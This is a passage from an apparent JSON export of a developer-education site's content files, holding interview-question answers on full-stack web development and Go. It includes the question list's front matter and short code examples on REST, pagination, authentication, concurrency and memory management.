    "content": "A **REST API** (Representational State Transfer Application Programming Interface) is a standardized way for applications to communicate over HTTP by following a set of principles. It allows clients (like web browsers or mobile apps) to interact with servers to perform operations like fetching or modifying data.\n\n**Key Features of a REST API**:\n\n1. **Stateless Communication**: Each request from the client to the server must contain all the information needed for the server to process it, with no reliance on stored session data.  \n2. **Resource-Based**: Data and functionality are treated as \"resources\" accessed using endpoints (URLs).  \n   * Example: `/users` to get a list of users, `/users/1` to access a specific user.  \n3. **HTTP Methods**: REST APIs use HTTP methods to define actions:  \n   * **GET**: Retrieve data.  \n   * **POST**: Create new resources.  \n   * **PUT**: Update existing resources.  \n   * **DELETE**: Remove resources.  \n4. **Structured Responses**: Data is typically returned in a lightweight format like **JSON** or **XML**.\n\n**Why is it Used?**\n\n* **Interoperability**: REST APIs enable communication between different systems and platforms, making them ideal for building **web services**.  \n* **Scalability**: They are stateless, allowing them to handle more traffic with horizontal scaling.  \n* **Ease of Use**: Clear structure and standard conventions make it easy for developers to understand and implement.  \n* **Flexibility**: Suitable for a variety of clients, from **web applications** to mobile and IoT devices."
  },
  {
    "path": "src/data/question-groups/full-stack/content/rest-pagination.md",
    "content": "Adding pagination to a RESTful API can be done in multiple ways, but assuming a standard implementation, the best option is to go with query parameters.\n\n**Query Parameters**: Using `limit` and `offset` (or `page` and `size`).  \n\n```\nGET /api/items?limit=10&offset=20\n```\n\n**Back-End Implementation**:\n\nIn the backend, we’re turn those query params into something like:\n\n**SQL code:**  \n```sql\nSELECT * FROM items LIMIT 10 OFFSET 20;\n```\n\n**In code:**  \n```javascript\nconst items = await db.find().skip(offset).limit(limit);\nres.json({ data: items });\n```\n\n##### Metadata\n\nInclude total count and current page in the response for better UX.\n\n```json\n{ \n  \"data\": [...], \n  \"total\": 100,\n  \"page\": 3,\n  \"size\": 10 \n}\n```"
  },
  {
    "path": "src/data/question-groups/full-stack/content/security-vulnerabilities.md",
    "content": "##### SQL Injection:\n\nTo avoid SQL injection attacks, use parameterized queries or prepared statements to prevent malicious SQL code from being executed:\n```javascript\ndb.query('SELECT * FROM users WHERE id = ?', [userId]);\n```\n\nAlso validate and sanitize user inputs to ensure it doesn't contain characters that might interfere with SQL statements.\n\n##### Cross-Site Scripting (XSS):\n\nTo avoid allowing scripts or dynamic content to affect your page:\n\n1. Escape content before rendering in the browser:\n```javascript\n<div>{sanitize(userInput)}</div>\n```\n\n2. Use libraries like DOMPurify to sanitize HTML.\n\n3. Set `Content-Security-Policy` headers to restrict allowed sources for scripts to trusted sources. "
  },
  {
    "path": "src/data/question-groups/full-stack/content/user-authentication.md",
    "content": "There are many ways to handle authentication, from simple auth, all the way to oAuth. The right option depends on your particular business needs.  \nA classical example is using JWT for authenticating a website with a RESTful API using the following process:\n\n1. **Frontend**: Present a login form to collect credentials from the user.  \n2. **Backend**: Verify credentials against a database and if they’re valid, create a signed token and return it in the response.  \n3. **Secure connection**: From this point on, the frontend will send the token on every request and the backend will validate it to ensure it’s a valid and authenticated user.  \n4. **Secured best practices**: Ensure your passwords are hashed (e.g., with bcrypt) and use HTTPS for a secured data transmission channel."
  },
  {
    "path": "src/data/question-groups/full-stack/content/version-control.md",
    "content": "**Purpose**: Version control tracks changes in code, enables collaboration, and allows reverting to previous versions.\n\n**Git Workflow Example**:\n\n1. Clone the repository: `git clone <repo_url>`.  \n2. Create a branch: `git checkout -b feature-branch`.  \n3. Make changes and stage them: `git add .`.  \n4. Commit changes: `git commit -m \"Add feature\"`.  \n5. Push to the remote: `git push origin feature-branch`.  \n6. Create a pull request for review.  \n7. Merge the branch into the main branch after approval."
  },
  {
    "path": "src/data/question-groups/full-stack/content/websockets.md",
    "content": "**WebSockets**: A protocol for full-duplex communication between client and server over a single persistent connection.\n\n**Difference**:\n\n* **HTTP**: Request-response model; client initiates every interaction.  \n* **WebSockets**: Persistent, allowing real-time, two-way communication (e.g., live chat, notifications).\n\nExample:\n\n* HTTP: Send a request for new messages repeatedly (polling).  \n* WebSocket: Server pushes new messages as they arrive."
  },
  {
    "path": "src/data/question-groups/full-stack/full-stack.md",
    "content": "---\norder: 4\nbriefTitle: 'Full-stack'\nbriefDescription: 'Test, Rate and Improve your Full-stack knowledge with these questions.'\ntitle: 'Top 50 Full Stack Developer Interview Questions'\ndescription: 'Ace your interview with our curated list of 50 full-stack developer interview questions, perfect for beginners and experienced candidates.'\nauthorId: 'fernando'\nisNew: false\ndate: 2025-01-29\nseo:\n  title: 'Top 50 Full Stack Developer Interview Questions'\n  description: 'Ace your interview with our curated list of 50 full-stack developer interview questions, perfect for beginners and experienced candidates.'\n  ogImageUrl: 'https://assets.roadmap.sh/guest/full-stack-developer-interview-questions-baq90.jpg'\n  keywords:\n    - 'full-stack quiz'\n    - 'full-stack questions'\n    - 'full-stack interview questions'\n    - 'full-stack interview'\n    - 'full-stack test'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\nending: 'full-stack-end.md'\nquestions:\n  - question: What is full-stack development?\n    answer: full-stack-development.md\n    topics:\n      - 'Beginner'\n  - question: Explain the difference between client-side and server-side programming\n    answer: client-server-programming.md\n    topics:\n      - 'Beginner'\n  - question: What is the purpose of HTML, CSS, and JavaScript in web development?\n    answer: html-css-js-purpose.md\n    topics:\n      - 'Beginner'\n  - question: What is a REST API, and why is it used?\n    answer: rest-api.md\n    topics:\n      - 'Beginner'\n  - question: Explain the difference between GET and POST HTTP methods\n    answer: get-post-difference.md\n    topics:\n      - 'Beginner'\n  - question: How do you include CSS in an HTML document?\n    answer: include-css.md\n    topics:\n      - 'Beginner'\n  - question: What is the purpose of the div and span tags in HTML?\n    answer: div-span-purpose.md\n    topics:\n      - 'Beginner'\n  - question: What are CSS selectors, and can you name a few types?\n    answer: css-selectors.md\n    topics:\n      - 'Beginner'\n  - question: How does JavaScript manipulate the DOM?\n    answer: js-dom-manipulation.md\n    topics:\n      - 'Beginner'\n  - question: What is the difference between == and === in JavaScript?\n    answer: js-equality-operators.md\n    topics:\n      - 'Beginner'\n  - question: What is the difference between relational and non-relational databases?\n    answer: relational-vs-nosql.md\n    topics:\n      - 'Beginner'\n  - question: How would you handle user authentication in a web application?\n    answer: user-authentication.md\n    topics:\n      - 'Beginner'\n  - question: What is the purpose of package.json in a Node.js project?\n    answer: package-json-purpose.md\n    topics:\n      - 'Beginner'\n  - question: How would you connect a Node.js application to a database and perform basic CRUD operations?\n    answer: nodejs-database-crud.md\n    topics:\n      - 'Beginner'\n  - question: What are environment variables, and how are they used?\n    answer: environment-variables.md\n    topics:\n      - 'Beginner'\n  - question: Explain the concept of responsive design. How would you implement it?\n    answer: responsive-design.md\n    topics:\n      - 'Intermediate'\n  - question: What is the difference between Flexbox and CSS Grid?\n    answer: flexbox-vs-grid.md\n    topics:\n      - 'Intermediate'\n  - question: What are React hooks, and why are they used?\n    answer: react-hooks.md\n    topics:\n      - 'Intermediate'\n  - question: How does state management work in React applications?\n    answer: react-state-management.md\n    topics:\n      - 'Intermediate'\n  - question: Explain how you would optimize the performance of a React app\n    answer: react-performance.md\n    topics:\n      - 'Intermediate'\n  - question: What is middleware in the context of Node.js and Express?\n    answer: nodejs-middleware.md\n    topics:\n      - 'Intermediate'\n  - question: How do you manage asynchronous code in JavaScript?\n    answer: async-javascript.md\n    topics:\n      - 'Intermediate'\n  - question: Explain how relational databases handle relationships\n    answer: database-relationships.md\n    topics:\n      - 'Intermediate'\n  - question: How would you implement pagination in a REST API?\n    answer: rest-pagination.md\n    topics:\n      - 'Intermediate'\n  - question: Describe how you would secure an API using authentication and authorization techniques\n    answer: api-security.md\n    topics:\n      - 'Intermediate'\n  - question: Explain the purpose of a version control system and Git workflow\n    answer: version-control.md\n    topics:\n      - 'Intermediate'\n  - question: What are WebSockets, and how do they differ from HTTP requests?\n    answer: websockets.md\n    topics:\n      - 'Intermediate'\n  - question: Describe the concept of MVC architecture\n    answer: mvc-architecture.md\n    topics:\n      - 'Intermediate'\n  - question: What is CORS, and how do you handle it in a web application?\n    answer: cors-handling.md\n    topics:\n      - 'Intermediate'\n  - question: How do you use Postman for testing APIs?\n    answer: postman-testing.md\n    topics:\n      - 'Intermediate'\n  - question: How would you deploy a full-stack application to a cloud provider?\n    answer: cloud-deployment.md\n    topics:\n      - 'Advanced'\n  - question: What is the purpose of a build tool like Webpack or Vite?\n    answer: build-tools.md\n    topics:\n      - 'Advanced'\n  - question: How do you debug an issue that occurs in both the frontend and back-end?\n    answer: full-stack-debugging.md\n    topics:\n      - 'Advanced'\n  - question: Explain the role of Docker in development and deployment\n    answer: docker-role.md\n    topics:\n      - 'Advanced'\n  - question: How would you implement real-time updates in a web application?\n    answer: real-time-updates.md\n    topics:\n      - 'Advanced'\n  - question: What are some strategies for improving the SEO of a React-based application?\n    answer: react-seo.md\n    topics:\n      - 'Advanced'\n  - question: How would you implement server-side rendering in a modern React app?\n    answer: react-ssr.md\n    topics:\n      - 'Advanced'\n  - question: What is code splitting, and how does it improve performance?\n    answer: code-splitting.md\n    topics:\n      - 'Advanced'\n  - question: Explain how to handle memory leaks in frontend applications\n    answer: memory-leaks.md\n    topics:\n      - 'Advanced'\n  - question: How would you implement internationalization in a full-stack app?\n    answer: internationalization.md\n    topics:\n      - 'Advanced'\n  - question: Explain how you would design and implement a microservices architecture\n    answer: microservices.md\n    topics:\n      - 'Advanced'\n  - question: What are some strategies to ensure high availability and scalability?\n    answer: high-availability.md\n    topics:\n      - 'Advanced'\n  - question: How do you handle database migrations in production systems?\n    answer: database-migrations.md\n    topics:\n      - 'Advanced'\n  - question: What is GraphQL, and how does it differ from REST?\n    answer: graphql-vs-rest.md\n    topics:\n      - 'Advanced'\n  - question: How would you implement caching in a back-end system?\n    answer: backend-caching.md\n    topics:\n      - 'Advanced'\n  - question: How do you handle security vulnerabilities such as SQL injection and XSS?\n    answer: security-vulnerabilities.md\n    topics:\n      - 'Advanced'\n  - question: Explain how CI/CD pipelines work and tools used to implement them\n    answer: cicd-pipelines.md\n    topics:\n      - 'Advanced'\n  - question: How do you approach performance monitoring in a full-stack application?\n    answer: performance-monitoring.md\n    topics:\n      - 'Advanced'\n  - question: What is event-driven architecture, and when would you use it?\n    answer: event-driven-architecture.md\n    topics:\n      - 'Advanced'\n  - question: What are common challenges in building full-stack applications?\n    answer: common-challenges.md\n    topics:\n      - 'Advanced'\n\n---\n\n![Top full-stack developer interview questions](https://assets.roadmap.sh/guest/full-stack-developer-interview-questions-baq90.jpg)\n\nFull-stack developers are the backbone of modern software teams, bravely connecting the dots between what users see and the powerful systems working behind the scenes. They're not \"just\" frontend developers, nor they're \"just\" backend devs, instead, they tackle the full spectrum. From designing intuitive interfaces to crafting efficient web server logic, they juggle multiple responsibilities, making their role one of the most versatile—and critical—in the tech industry.\n\nIf you're aiming for a full-stack role, you'll need to prove you've got the skills to handle it all. That's why we've put together this guide to the **most common full-stack developer interview questions**. \n\nAnd if this is not enough, we also have a full [full-stack roadmap](https://roadmap.sh/full-stack) for you to follow. \n\nSo get comfortable, and let's begin.\n\n## Getting ready for your full-stack interview\n\nBefore jumping right into your full-stack developer interview, remember the following points:\n\n1. **Understand the Core Concepts**: Familiarize yourself with the foundations of full-stack development, including frontend frameworks (like React or Angular), back-end technologies (such as Node.js or Django), RESTful APIs, and databases. Understanding how these pieces work together is key to unlocking the role of full-stack developer.  \n2. **Practice Hands-On Skills**: Full-stack development is all about practical knowledge, so put your skills to the test. Build a small project or refine an existing one. Practice creating REST APIs, styling responsive UIs, or integrating a database. The more you practice, the more comfortable you'll feel in solving real-world problems.  \n3. **Study Software Architecture**: While you may not be a system architect, a solid understanding of software architecture principles—such as MVC, microservices, and event-driven designs—can be a huge advantage. Being able to discuss how these concepts apply to modern web apps can make you stand out.  \n4. **Research the Company**: Always research the company you're interviewing with. Investigate the tools and technologies they use for any type of software development (regardless if it's backend or frontend), their overall tech stack, and their approach to building software. This will show genuine interest and help you ask insightful questions during the interview.\n\nWe're now ready to get started, so let's dive into some of the most common full-stack developer interview questions to help you prepare\\!\n"
  },
  {
    "path": "src/data/question-groups/golang/content/basic-data-types.md",
    "content": "Go's basic data types include booleans, integers, floating-point numbers, and strings. These basic data types in Go are similar to those in other languages; however, Go enforces that all variables share types during operations, in other words, Go is strongly typed. \n\nThis need for explicit type conversion (there is no implicit alternative in Go) requirement minimizes runtime errors and increases code reliability. "
  },
  {
    "path": "src/data/question-groups/golang/content/channels-communication.md",
    "content": "Channels in Go are used to transfer data between goroutines safely. \n\nBest practices include:\n* Closing channels when they are no longer needed, letting receivers know they don't have to wait indefinitely.  \n* Ensuring that channels are buffered when necessary, because buffered channels allow you to send a fixed number of values without blocking the sender immediately. This can be useful when you know the maximum number of items that might be sent, which helps in avoiding deadlocks.  \n* Use the `select` statement when working with multiple channels. It helps in waiting on multiple channel operations simultaneously, making your concurrent code more robust. "
  },
  {
    "path": "src/data/question-groups/golang/content/code-analysis.md",
    "content": "When looking for problems with how you manage your dependencies in your code and when you're looking for leaks in your memory consumption, some of the key factors to look out for include examining how external resources and dependencies are handled.  \n\nThe reliance (or over-reliance) on global variables for storing data may also lead to excessive use of memory, so that would be a point to look out of, if data accumulates over time without proper management or synchronization, especially in a concurrent setting.\n\nFrom a dependency perspective, it is important to verify that external packages are used correctly and that their versions are managed through Go Modules. While the code snippet does not show a go.mod file, best practices involve pinning specific vesions in go.mod and go.sum, ensuring reproducible builds and guarding against breaking changes from dependency updates. This integration with version control allows for a clear history of dependency changes, facilitates rollbacks if issues arise, and promotes consistent builds across different environments. "
  },
  {
    "path": "src/data/question-groups/golang/content/code-reusability.md",
    "content": "The signature of a method defines how a function or method should be called and what parameters and return values are expected. This clear contract makes your code flexible and reusable. For example:\n\n```go\npackage main\n\nimport \"fmt\"\n\ntype Greeter interface {\n    Greet() string\n}\n\n// Person struct implements the Greeter interface\ntype Person struct {\n    Name string\n}\n\nfunc (p Person) Greet() string {\n    return \"Hello, \" + p.Name + \"!\"\n}\n\n// SayHello accepts any type that satisfies the interface value Greeter.\nfunc SayHello(g Greeter) {\n    fmt.Println(g.Greet())\n}\n\nfunc main() {\n    p := Person{Name: \"John\"}\n    SayHello(p)\n}\n``` "
  },
  {
    "path": "src/data/question-groups/golang/content/composite-data-types.md",
    "content": "Composite data types in Go, like arrays, slices, maps, and structs, let you group values into a single structure. \n\nFor example, the below code show how a struct can be used to process json data:\n\n```go\npackage main\n\nimport \"fmt\"\n\n// Define a composite data type using a struct\ntype Person struct {\n    Name string\n    Age  int \n}\n\nfunc main() {\n    // Create a new struct and print key value pairs\n    person := Person{Name: \"Alice\", Age: 30}\n    fmt.Println(\"Name:\", person.Name, \"Age:\", person.Age)\n}\n``` "
  },
  {
    "path": "src/data/question-groups/golang/content/concurrency-management.md",
    "content": "In Go you can use lightweight threads to manage concurrent tasks. These lightweight alternatives use much less memory and resources than their native counterparts. And they can use \"channels\" to share data between them.\n\nThese \"goroutines\" are incredibly efficient, managed by Go's runtime, and provide developers with a much needed simplified threading model. "
  },
  {
    "path": "src/data/question-groups/golang/content/concurrency-model.md",
    "content": "Go's concurrency model is different from traditional alternatives because it uses goroutines instead of OS threads. These goroutines, which are non-native threads managed by the runtime require a fraction of the memory OS threads normally require. \n\nOn top of that, these goroutines communicate with each other through \"channels\", ensuring that data flows safely from one function to another. \n\nThis design improves cpu and memory resources management, making concurrent programming in the Go efficient and robust. "
  },
  {
    "path": "src/data/question-groups/golang/content/custom-error-types.md",
    "content": "Custom error types in Go are typically designed by creating a struct to encapsulate error details and implementing the Error() method to satisfy the error interface. \n\nThis, in turn, gives developers the tools to perform type assertions and the use of errors.Is or errors.As for effective error management. The following is an example of how to create your own custom error in Go:\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n)\n\n//The struct to hold the error\ntype MyError struct {\n    Code    int\n    Message string\n}\n\n//The custom Error method.\nfunc (e MyError) Error() string {\n    return fmt.Sprintf(\"Error %d: %s\", e.Code, e.Message)\n}\n\nfunc mightFail(flag bool) error {\n    if flag {\n        return MyError{Code: 500, Message: \"Internal error occurred\"}\n    }\n    return nil\n}\n\nfunc main() {\n    err := mightFail(true)\n    if err != nil {\n        if myErr, ok := err.(MyError); ok {\n            fmt.Printf(\"Handled custom error with code %d and message: %s\\n\", myErr.Code, myErr.Message)\n        } else {\n            fmt.Println(\"An error occurred:\", err)\n        }\n    }\n}\n``` "
  },
  {
    "path": "src/data/question-groups/golang/content/data-type-conversion.md",
    "content": "In Go, you have to explicitly convert types, meaning that you have to explicitly cast one type into the other, there is no implicit or default behavior when assigning values to variables of a different type (i.e assigning an int value to a boolean variable). \n\nSpecifically for numeric value conversions, you simply cast using the target type (for example, float64(intValue)). \n\nSome pitfalls of this process might include losing precision or encountering overflow. It's important to ensure that data types match (can be translated into each other) to prevent errors during conversion. "
  },
  {
    "path": "src/data/question-groups/golang/content/dependency-comparison.md",
    "content": "Go's approach of using the go.mod file is more straightforward compared to the often complex systems in other languages. For example, go.mod files are much more straightforward to create and maintain than Maven XMLs or NPM's JSON files, which require the creation of verbose configuration files.\n\nIn terms of best practices, always try to update dependencies (mostly their version, making sure their internal logic is still compatible with your Go version), using version control systems, and ensuring code documentation is up to date. "
  },
  {
    "path": "src/data/question-groups/golang/content/dependency-integration.md",
    "content": "Go integrates version control with its module system, using go.mod and go.sum files to track versions and package references. This setup ensures that builds are reproducible—everyone using the same go.mod file gets identical versions, while go.sum verifies the integrity of downloaded modules with cryptographic hashes.\n\nBest practices include adhering to semantic versioning, regularly updating dependencies (while checking backwards compatibility), and maintaining reproducible builds through version control integration. "
  },
  {
    "path": "src/data/question-groups/golang/content/dependency-management.md",
    "content": "In Go, you manage dependencies using the go.mod file along with version control systems like Git. \n\nManaging dependencies is important because they allow developers to create reproducible builds, ensuring that all imported packages remain compatible. "
  },
  {
    "path": "src/data/question-groups/golang/content/dependency-version-control.md",
    "content": "To manage your dependencies in Go, you can use the go.mod file, which allows you to do it in an organized manner. \n\nVersion control systems like Git ensure that code, documentation, and dependencies remain consistent across multiple functions and modules, helping you manage dependencies and maintain the same type of environment for all developers. "
  },
  {
    "path": "src/data/question-groups/golang/content/efficient-memory-management.md",
    "content": "Efficient memory management in Go can be achieved by carefully declaring variables with appropriate scope and preallocating data structures like slices or maps when possible, while releasing unused references to aid garbage collection and avoiding long-lived goroutines or channels that could cause leaks in your memory consumption. "
  },
  {
    "path": "src/data/question-groups/golang/content/error-handling-comparison.md",
    "content": "Go uses explicit error handling by returning an error value alongside other results. \n\nThis contrasts with the exception handling mechanisms found in other languages, leading to clearer code documentation and predictable error management paths.\n\nHere's a quick example of what all of this looks like:\n\n```go\npackage main\n\nimport (\n    \"errors\"\n    \"fmt\"\n)\n\n// Divide divides two numbers and returns an error if division by zero is attempted.\nfunc Divide(a, b float64) (float64, error) {\n    if b == 0 {\n        // Explicitly return an error value when b is zero.\n        return 0, errors.New(\"division by zero is not allowed\")\n    }\n    // Return the result and nil for error if division is successful.\n    return a / b, nil\n}\n``` "
  },
  {
    "path": "src/data/question-groups/golang/content/error-handling.md",
    "content": "Error handling in Go is explicit. You return an error value along with other multiple values from a function, which must then be checked before proceeding. \n\nYou can, of course, improve the default behavior and provide more context to aid in debugging by designing your own personalized error types. "
  },
  {
    "path": "src/data/question-groups/golang/content/function-calls.md",
    "content": "Calling a function in Go involves passing parameters to a function (by value, meaning that all values are copied in memory when passed to the function) and then executing its code. You can of course use pointers to share data \"by reference\" if you need to.\n\nWhen the function is called, the runtime creates a new section of memory (a stack frame) to store these copied values along with any other information needed.\n\nOnce the function finishes executing, the runtime cleans up this memory (garbage collection) and returns control to the calling function.\n\nHere's an example of how to call functions in Golang:\n\n```go\npackage main\n\nimport \"fmt\"\n\nfunc greet(name string) string {\n    return \"Hello, \" + name + \"!\"\n}\n\nfunc main() {\n    // Here we call the function.\n    message := greet(\"Bob\")\n    fmt.Println(message)\n}\n``` "
  },
  {
    "path": "src/data/question-groups/golang/content/function-execution.md",
    "content": "Calling functions in Go involves setting up a new stack frame, transferring control to the called function, and eventually returning to the function when it completes. \n\nThis process is handled at the lowest abstraction level, ensuring efficient execution and minimal overhead. "
  },
  {
    "path": "src/data/question-groups/golang/content/function-interaction.md",
    "content": "When a function is called in Go, it creates a new stack frame. Once the called function completes, control goes back to the surrounding function, and any data transfer between functions is managed by the runtime. \n\nThis process is highly optimized at the machine code level. "
  },
  {
    "path": "src/data/question-groups/golang/content/garbage-collection-effects.md",
    "content": "Go's garbage collection automatically frees unused memory, improving memory management efficiency and reducing the risk of leaks. This ensures stable memory usage throughout the execution of your code, even when handling multiple tasks concurrently. "
  },
  {
    "path": "src/data/question-groups/golang/content/global-variable-implications.md",
    "content": "Global variables in Go, which are declared at the package level, persist for the duration of the program. This means global variables might cause increased memory utilization (or even leaks) or concurrency issues if not managed with proper synchronization, thereby affecting modularity and testability. "
  },
  {
    "path": "src/data/question-groups/golang/content/global-variables.md",
    "content": "Global variables are declared outside functions and can be accessed by any other function from the project. \n\nAlthough they facilitate data transfer between functions, overusing global variables is a known code smell that can lead to increased memory consumption and make your code less maintainable. "
  },
  {
    "path": "src/data/question-groups/golang/content/golang-intro.md",
    "content": "Golang, often referred to as Go, is an open source programming language designed to be simple and fast. \n\nIts key features include a strong emphasis on efficient handling of memory, garbage collection, built-in testing package support for writing unit tests, and a concurrency model that uses lightweight threads. \n\nCompared to other programming languages, Go offers excellent performance, especially when managing dependencies and handling memory allocation. "
  },
  {
    "path": "src/data/question-groups/golang/content/goroutine-scheduling.md",
    "content": "The runtime employs what is known as an \"M:N scheduling strategy\", mapping multiple goroutines onto a smaller pool of OS threads. \n\nThe runtime uses logical processors, or \"P\"s, that maintain queues of ready-to-run goroutines. When a goroutine gets blocked (for example, due to I/O) the scheduler can quickly replace it with another goroutine from the queue, optimizing CPU resources. \n\nOn top of everything, channels further improve this model by serving as built-in communication and synchronization mechanisms. They allow goroutines to exchange data safely and implicitly handle blocking; if a goroutine sends data on a channel without an available receiver, it will wait until one is ready, reducing the need for explicit locks. \n\nThis design not only prevents common concurrency issues like race conditions but also simplifies coordination among goroutines, allowing for a simpler, and more powerful multi-threading model. "
  },
  {
    "path": "src/data/question-groups/golang/content/json-processing.md",
    "content": "Go simplifies processing json data with the encoding/json package. \n\nThis example shows how to unmarshal some JSON into a struct:\n\n```go\npackage main\n\nimport (\n    \"encoding/json\"\n    \"fmt\"\n)\n\ntype User struct {\n    Name string `json:\"name\"`\n    Age  int    `json:\"age\"`\n}\n\nfunc main() {\n    jsonData := `{\"name\": \"Jane\", \"age\": 28}`\n    var user User\n    if err := json.Unmarshal([]byte(jsonData), &user); err != nil {\n        fmt.Println(\"Error parsing JSON:\", err)\n    }\n    fmt.Printf(\"User: %+v\\n\", user)\n}\n```\n\nThe JSON data, which is just a string at the beginning of this example gets parsed and turned into an actual complex variable that you can refer to and use in your code later on. "
  },
  {
    "path": "src/data/question-groups/golang/content/low-level-pointers.md",
    "content": "Go uses pointers to store addresses of other values in memory. This allows for efficient allocation of memory resources and low-level data manipulation, which directly translates into optimized low-level code by the compiler. \n\nAs a result of this, operations with pointers are fast and while they might also be more complex, and require extra care from the developer, they contribute to a proper and efficient management of memory. "
  },
  {
    "path": "src/data/question-groups/golang/content/maps-usage.md",
    "content": "Maps in Go store key value pairs, making them ideal for tasks like caching, configuration, or counting frequencies. Anything that requires efficient data access either regarding CPU cycles (speed) or efficient management of the memory space is generally a great target for maps. "
  },
  {
    "path": "src/data/question-groups/golang/content/memory-allocation-gc.md",
    "content": "In Go, the allocation of memory is managed by the runtime, which decides whether to allocate on the stack or heap based on variable declaration; this is defined during the phase known as \"escape analysis\".\n\nThe garbage collector then periodically reclaims memory, preventing leaks and ensuring efficient memory usage. "
  },
  {
    "path": "src/data/question-groups/golang/content/memory-allocation.md",
    "content": "In Go, memory allocation is managed automatically by the runtime. It determines whether to place a variable on the stack or the heap based on how the variable is declared and used. For instance, short-lived variables might be stored on the stack, while data that needs to persist longer is allocated on the heap. To determine this, the Go compiler uses a process called \"escape analysis\", which examines how and where a variable is used. \n\nIf the compiler determines that a variable doesn't \"escape\" its current scope (i.e., it is not used outside the function or block in which it's declared), it can be safely allocated on the stack. On the other hand, if a variable does escape, it's moved to the heap, where the garbage collector manages its memory.\n\nThis system removes the need for devs to manually allocate or free memory, which helps reduce common errors like leaks and improper deallocation. "
  },
  {
    "path": "src/data/question-groups/golang/content/memory-leak-prevention.md",
    "content": "Go has a garbage collection process that runs automatically and regularly frees up memory that is no longer in use. \n\nThis proactive approach helps identify bottlenecks in memory consumption and reduces the risk of leaks by removing the responsibility from the developer and taking control over how and when memory gets released. "
  },
  {
    "path": "src/data/question-groups/golang/content/memory-leak-strategies.md",
    "content": "Even with Go's efficient and automatic memory management in place things can still go wrong, and leaks can occur if developers are not careful with the resources they create. \n\nTo help you find and solve those memory issues, profiling tools and the runtime can help identify bottlenecks in memory usage. \n\nSome strategies to help you either avoid or deal with memory issues include careful variable declaration, proper cleanup to ensure, and monitoring garbage collection. In other words, be careful how you instantiate and use your resources, and use the proper tools to understand when there are problems. "
  },
  {
    "path": "src/data/question-groups/golang/content/memory-management.md",
    "content": "Go's management of the memory space is handled automatically through garbage collection. \n\nThis process frees up memory that is no longer needed, preventing leaks. Given its automatic nature, the operation is overseen by Go's runtime, ensuring that cpu and memory remain optimized, which is a major advantage compared to the manual alternative that other languages like C or C++ have. "
  },
  {
    "path": "src/data/question-groups/golang/content/method-overloading.md",
    "content": "Go does not provide support for method overloading. That said, you can achieve similar functionality by using interfaces, variadic functions (functions that receive a variable amount of attributes), or simply by creating functions with different names that describe their behavior more clearly (like for instance \"PrintInt\" and \"PrintString\"). "
  },
  {
    "path": "src/data/question-groups/golang/content/method-signatures.md",
    "content": "A method signature in Go defines the method name, parameters, and return types (in fact, in most languages this is also the case). \n\nThis clarity ensures that the interface value can be implemented consistently, helping you create great code that interacts seamlessly with other functions and data structures. "
  },
  {
    "path": "src/data/question-groups/golang/content/multiple-return-values.md",
    "content": "Go allows functions to return multiple values, which is particularly useful for returning a result along with an error value. This feature simplifies how developers can handle errors and exceptions and ensures that your code directly manages outcomes from function executions. "
  },
  {
    "path": "src/data/question-groups/golang/content/package-main.md",
    "content": "In Go code, the package main declaration indicates that the file is meant to compile as an executable program. \n\nThe func main function, on the other hand, serves as the entry point where the program begins executing (similar to the main function on C). \n\nThis standard distinguishes Go applications from libraries in other languages. "
  },
  {
    "path": "src/data/question-groups/golang/content/pointer-variables.md",
    "content": "A pointer in Go holds the address of another variable (much like pointers in other languages, like C). This connection to the memory sector enables efficient memory consumption because it allows direct access and manipulation of data without copying entire data structures. \n\nUnderstanding pointers is essential for low-level programming and for achieving optimal cpu and memory resource consumption. "
  },
  {
    "path": "src/data/question-groups/golang/content/pointers-detail.md",
    "content": "Pointers in Go hold memory addresses, they're essentially a variable like any other with a special type of content inside it. This address inside the pointer allows you, the developer, to pass variables by reference instead of by value (because you're actually passing by value the addressed reference, without having to duplicate the actual value being referenced). \n\nThis is crucial if you expect to have efficient management of the memory space as modifying an existing object via its pointer affects the original value. "
  },
  {
    "path": "src/data/question-groups/golang/content/polymorphism.md",
    "content": "In Go, you can define methods that accept parameters conforming to a specific interface. As long as a type implements the required interface, it can be passed to these methods, enabling polymorphism. "
  },
  {
    "path": "src/data/question-groups/golang/content/reserved-keywords.md",
    "content": "Reserved go keywords such as func, var, type, package, and import are fundamental for writing Go code. \n\nThese keywords define the structure and syntax of the language, ensuring that all your statements are correctly interpreted by the compiler. "
  },
  {
    "path": "src/data/question-groups/golang/content/runtime-impact.md",
    "content": "The runtime controls how memory is allocated, garbage collection, and scheduling of lightweight threads (goroutines). \n\nOn top of that, it also ensures that functions and variable are optimized at the lowest abstraction level, providing efficiency across various operating systems. "
  },
  {
    "path": "src/data/question-groups/golang/content/string-literals.md",
    "content": "Raw string literals in Go are enclosed in backticks (\\`) and preserve all formatting exactly as written. This is different from interpreted string literals, which process escape sequences like \\n. This distinction is particularly useful when you need to process data exactly as it is written.\n\nConsider a scenario where you need to embed an HTML template directly into your Go code. With raw string literals, you can include the HTML exactly as written without worrying about escaping characters or preserving the formatting. For example:\n\n```go\nhtmlTemplate := `<!DOCTYPE html>\n<html>\n    <head>\n        <title>Example</title>\n    </head>\n    <body>\n        <h1>Hello, World!</h1>\n    </body>\n</html>` // backtick here ends the raw string literal\n```\n\nIn this case, the raw string literal enclosed in backticks preserves newlines, tabs, and any other whitespace exactly as you write them. "
  },
  {
    "path": "src/data/question-groups/golang/content/struct-pointers.md",
    "content": "A pointer to an existing struct in Go holds the address of the struct, so modifying the struct through its pointer directly alters the original data, which can be efficient for large structs (because you can pass it around into functions without copying all of its content) but requires careful management to avoid unintended side effects (like with any other pointer-based operation). "
  },
  {
    "path": "src/data/question-groups/golang/content/structs.md",
    "content": "A struct in Go is a composite data type that groups multiple values in a single place. \n\nYou define a struct using the type keyword, and then you can access its fields using dot notation. For example:\n\n```go\n// Define the struct\ntype Book struct {\n    Title  string\n    Author string\n}\n\nfunc main() {\n    myBook := Book{Title: \"Go in Action\", Author: \"William Kennedy\"}\n    // Access the properties through dot notation\n    fmt.Println(\"Book:\", myBook.Title, \"by\", myBook.Author)\n}\n``` "
  },
  {
    "path": "src/data/question-groups/golang/content/testing-package.md",
